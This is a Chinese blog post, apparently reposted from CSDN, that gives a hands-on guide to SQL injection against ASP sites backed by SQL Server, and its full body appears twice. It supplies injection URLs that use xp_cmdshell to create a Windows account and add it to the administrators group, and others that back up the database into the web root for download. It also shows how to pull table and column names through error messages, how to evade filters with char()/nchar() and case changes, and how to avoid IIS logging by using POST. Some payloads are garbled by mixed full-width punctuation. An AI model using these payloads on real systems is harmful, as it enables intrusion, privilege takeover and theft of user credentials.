SQL一些简单注入的整理
对于此文章最好不要复制粘贴因为有些符号使用中文的符号例如“;”有的也是英文的。
程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQLInjection,即SQL注入。
我们在这个地址后面加上单引号’如果返回错误则表示有可能存在注入。并且从返回信息中我们就可以获得一些信息、(为什么。。。。)
而有些程序员会把单引号过滤掉那么这样就不行了。
所以经典的1=1、1=2测试会更有效 (原因)
用and user>0 语句可以判断数据可类型。
如果不返回错误信息,那么可以用此方法:可以从Access和SQLServer和区别入手,Access和SQLServer都有自己的系统表,比如存放数据库中所有对象的表,Access是在系统表[msysobjects]中,但在Web环境下读该表会提示“没有权限”,SQLServer是在表[sysobjects]中,在Web环境下可正常读取。
在确认可以注入的情况下,使用下面的语句:
http://www.***.com*.asp?id=1;exec master..xp_cmdshell “net username password /add”–
分号;在SQLServer中表示隔开前后两句语句,–表示后面的语句为注释,所以,这句语句在SQLServer中将被分成两句执行,先是Select出ID=1的记录,然后执行存储过程xp_cmdshell,这个存储过程用于调用系统命令,于是,用net命令新建了用户名为name、密码为password的windows的帐号,接着:
② http:/**.asp?id=1;exec master..xp_cmdshell “net localgroup nameadministrators/add”– 将新建的帐号name加入管理员组,这样你已经拿到了系统最高权限!当然,这种方法只适用于用sa连接数据库的情况,否则,是没有权限调用xp_cmdshell的。
③ http:/**.asp?id=1 ;;anddb_name()>0
前面有个类似的例子and user>0,
作用是获取连接用户名,db_name()是另一个系统变量,返回的是连接的数据库名。
④ http:/**.asp?id=1;backup database 数据库名 todisk=’c:\inetpub\wwwroot\1.db’;–
这样可以从③拿到的数据库名,加上某些IIS出错暴露出的绝对路径,将数据库备份到Web目录下面,再用HTTP把整个数据库就完完整整的下载回来,所有的管理员及用户密码都一览无遗!有时候不知道绝对路径就要用别的方法了,此方法成功率比较低。。。
⑤ http:/**.asp?id=1 ;;and (Select Top 1 name from sysobjects wherextype=’U’ andstatus>0)>0
sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对象,xtype=’U’ andstatus>0,表示用户建立的表名(好吧我没明白),上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来。接着是第二个第三个。。。
⑥ http:/**.asp?id=1 ;;and (Select Top 1 col_name(object_id(‘表名’),1)from sysobjects)>0
从⑤拿到表名后,用object_id(‘表名’)获取表名对应的内部ID,col_name(表名ID,1)代表该表的第1个列名,将1换成2,3,4…就可以逐个获取所猜解表里面的列名。
绕过限制:
再有过滤敏感字符时可以绕过他如:
where xtype=’U’,字符U对应的ASCII码是85,所以可以用wherextype=char(85)代替;
如果字符是中文的,比如where name=’用户’,可以用wherename=nchar(29992)+nchar(25143)代替。
有些人会过滤Select、Update、Delete这些关键字,但偏偏忘记区分大小写,所以大家可以用selecT这样尝试一下。
特别注意:地址栏的+号传入程序后解释为空格,+解释为+号,%解释为%号,具体可以参考URLEncode的相关介绍。
用Get(请求读取由URL所标识的信息)方法注入时,IIS会记录你所有的提交字符串,对Post(给服务器添加信息)方法做则不记录,所以能用Post的网址尽量不用Get。
程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQLInjection,即SQL注入。
我们在这个地址后面加上单引号’如果返回错误则表示有可能存在注入。并且从返回信息中我们就可以获得一些信息、(为什么。。。。)
而有些程序员会把单引号过滤掉那么这样就不行了。
所以经典的1=1、1=2测试会更有效
用and user>0 语句可以判断数据可类型。
如果不返回错误信息,那么可以用此方法:可以从Access和SQLServer和区别入手,Access和SQLServer都有自己的系统表,比如存放数据库中所有对象的表,Access是在系统表[msysobjects]中,但在Web环境下读该表会提示“没有权限”,SQLServer是在表[sysobjects]中,在Web环境下可正常读取。
在确认可以注入的情况下,使用下面的语句:
http://www.***.com*.asp?id=1;exec master..xp_cmdshell “net username password /add”–
分号;在SQLServer中表示隔开前后两句语句,–表示后面的语句为注释,所以,这句语句在SQLServer中将被分成两句执行,先是Select出ID=1的记录,然后执行存储过程xp_cmdshell,这个存储过程用于调用系统命令,于是,用net命令新建了用户名为name、密码为password的windows的帐号,接着:
② http:/**.asp?id=1;exec master..xp_cmdshell “net localgroup nameadministrators/add”– 将新建的帐号name加入管理员组,这样你已经拿到了系统最高权限!当然,这种方法只适用于用sa连接数据库的情况,否则,是没有权限调用xp_cmdshell的。
③ http:/**.asp?id=1 ;;anddb_name()>0
前面有个类似的例子and user>0,
作用是获取连接用户名,db_name()是另一个系统变量,返回的是连接的数据库名。
④ http:/**.asp?id=1;backup database 数据库名 todisk=’c:\inetpub\wwwroot\1.db’;–
这样可以从③拿到的数据库名,加上某些IIS出错暴露出的绝对路径,将数据库备份到Web目录下面,再用HTTP把整个数据库就完完整整的下载回来,所有的管理员及用户密码都一览无遗!有时候不知道绝对路径就要用别的方法了,此方法成功率比较低。。。
⑤ http:/**.asp?id=1 ;;and (Select Top 1 name from sysobjects wherextype=’U’ andstatus>0)>0
sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对象,xtype=’U’ andstatus>0,表示用户建立的表名(好吧我没明白),上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来。接着是第二个第三个。。。
⑥ http:/**.asp?id=1 ;;and (Select Top 1 col_name(object_id(‘表名’),1)from sysobjects)>0
从⑤拿到表名后,用object_id(‘表名’)获取表名对应的内部ID,col_name(表名ID,1)代表该表的第1个列名,将1换成2,3,4…就可以逐个获取所猜解表里面的列名。
绕过限制:
再有过滤敏感字符时可以绕过他如:
where xtype=’U’,字符U对应的ASCII码是85,所以可以用wherextype=char(85)代替;
如果字符是中文的,比如where name=’用户’,可以用wherename=nchar(29992)+nchar(25143)代替。
有些人会过滤Select、Update、Delete这些关键字,但偏偏忘记区分大小写,所以大家可以用selecT这样尝试一下。
特别注意:地址栏的+号传入程序后解释为空格,+解释为+号,%解释为%号,具体可以参考URLEncode的相关介绍。
用Get(请求读取由URL所标识的信息)方法注入时,IIS会记录你所有的提交字符串,对Post(给服务器添加信息)方法做则不记录,所以能用Post的网址尽量不用Get。
此文章通过 python 爬虫创建,原文是自己的csdn 地址: SQL注入